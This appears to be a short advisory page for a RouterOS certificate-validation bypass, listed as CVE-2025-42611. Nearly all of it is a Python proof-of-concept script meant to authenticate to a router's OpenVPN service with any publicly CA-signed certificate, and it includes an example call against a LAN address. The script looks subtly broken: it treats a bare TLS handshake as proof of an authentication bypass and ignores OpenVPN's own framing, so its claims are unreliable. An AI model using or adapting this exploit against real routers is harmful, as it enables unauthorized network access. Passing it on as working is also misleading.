CVE-2025-42611 RouterOS证书验证绕过漏洞

# PoC concept: Authenticating to RouterOS OpenVPN using a cert signed by a generic trusted CA # This requires a RouterOS vulnerable to CVE-2025-42611 and a trusted public CA cert. import socket import ssl def attempt_vpn_bypass(target_ip, port, cert_file, key_file): # Create a standard SSL socket context = ssl.create_default_context() # Load the certificate signed by a public/trusted CA present in RouterOS system store context.load_cert_chain(certfile=cert_file, keyfile=key_file) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) # Wrap socket with SSL secure_sock = context.wrap_socket(sock, server_hostname=target_ip) secure_sock.connect((target_ip, port)) print(f"[+] Connection established to {target_ip}:{port}") print(f"[+] Certificate verified by RouterOS using system-wide trust store.") print(f"[+] Authentication bypassed / Successful.") secure_sock.close() return True except Exception as e: print(f"[-] Connection failed: {e}") return False # Example usage: # attempt_vpn_bypass('192.168.88.1', 1194, 'public_ca_signed.crt', 'private.key')